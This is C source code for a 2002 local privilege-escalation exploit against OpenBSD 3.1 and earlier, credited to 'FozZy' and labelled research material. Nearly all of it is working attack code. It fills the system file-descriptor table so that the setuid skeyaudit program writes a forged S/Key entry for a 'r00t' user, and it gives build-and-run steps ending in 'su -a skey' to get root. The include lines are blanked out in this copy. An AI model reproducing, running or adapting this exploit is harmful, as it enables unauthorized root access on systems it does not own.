/* fd_openbsd.c (c) 2002 FozZy Local root exploit for OpenBSD up to 3.1. Do not distribute. Research material from Hackademy and Hackerz Voice Newspaper (http://www.hackerzvoice.com) For educational and security audit purposes only. Try this on your *own* system. No warranty of any kind, this program may damage your system and your brain. Script-kiddies, you will have to modify one or two things to make it work. Usage: gcc -o fd fd_openbsd.c ./fd su -a skey */ #include #include #include #include #include #include #include #define SUID_NAME "/usr/bin/skeyaudit" #define SKEY_DATA "\nr00t md5 0099 qwerty 545a54dde8d3ebd3 Apr 30,2002 22:47:00\n"; extern int errno; int main(int argc, char **argv) { char *argvsuid[3]; int i, n; int fildes[2]; struct rlimit *rlp; rlp = (struct rlimit *) malloc((size_t) sizeof(rlp)); if (getrlimit(RLIMIT_NOFILE, rlp)) perror("getrlimit"); rlp->rlim_cur = rlp->rlim_max; /* we want to allocate a maximum number of fd in each process */ if (setrlimit(RLIMIT_NOFILE, rlp)) perror("setrlimit"); n=0; open(SUID_NAME, O_RDONLY, 0);/* is it useful ? allocate this file in the kernel fd table, for execve to succeed later*/ while (n==0) { for (i=4; i<=rlp->rlim_cur; i++) /* we start from 4 to avoid freeing the SUID_NAME buffer, assuming its fd is 3 */ close(i); i=0; while(pipe(fildes)==0) /* pipes are the best way to allocate unique file descriptors quickly */ i++; printf("Error number %d : %s\n", errno, (errno==ENFILE) ? "System file table full":"Too many descriptors active for this process"); if (errno==ENFILE) { /* System file table full */ n = open("/bin/pax", O_RDONLY, 0); /* To be sure we don't miss one fd, since a pipe allocates 2 fds or 0 if failure */ fprintf(stderr, "Let's exec the suid binary...\n"); fflush(stderr); if ((n=fork())==-1) { perror("last fork failed"); exit(1); } if (n==0) { for (i=3; i<=rlp->rlim_cur; i++) close(i); /* close all fd, we don't need to fill the fd table of the process */ argvsuid[0]=SKEY_DATA; /* we put the data to be printed on stderr as the name of the program */ argvsuid[1]="-i"; /* to make skeyaudit fail with an error */ argvsuid[2]=NULL; close(2); /* let the process exec'ed have stderr as the *first* fd free */ execve(SUID_NAME, argvsuid, NULL); perror("execve"); exit(1); } else { for (i=0; i<2000000; i++) /* Timing is crucial : tune this to your own system */ ; for (i=4; i<=100; i++) /* free some fd for the suid file to execute normally (ld.so, etc.) */ close(i); sleep(5); for (i=3; i<=rlp->rlim_cur; i++) close(i); exit(0); } } else { /* process table full, let's fork to allocate more fds */ if ((n=fork()) == -1) { perror("fork failed"); exit(1); } } } printf("Number of pipes opened by parent: %d\n",i); sleep(5); for (i=3; i<=rlp->rlim_cur; i++) close(i); fprintf(stderr,"Exiting...\n"); exit(0); }

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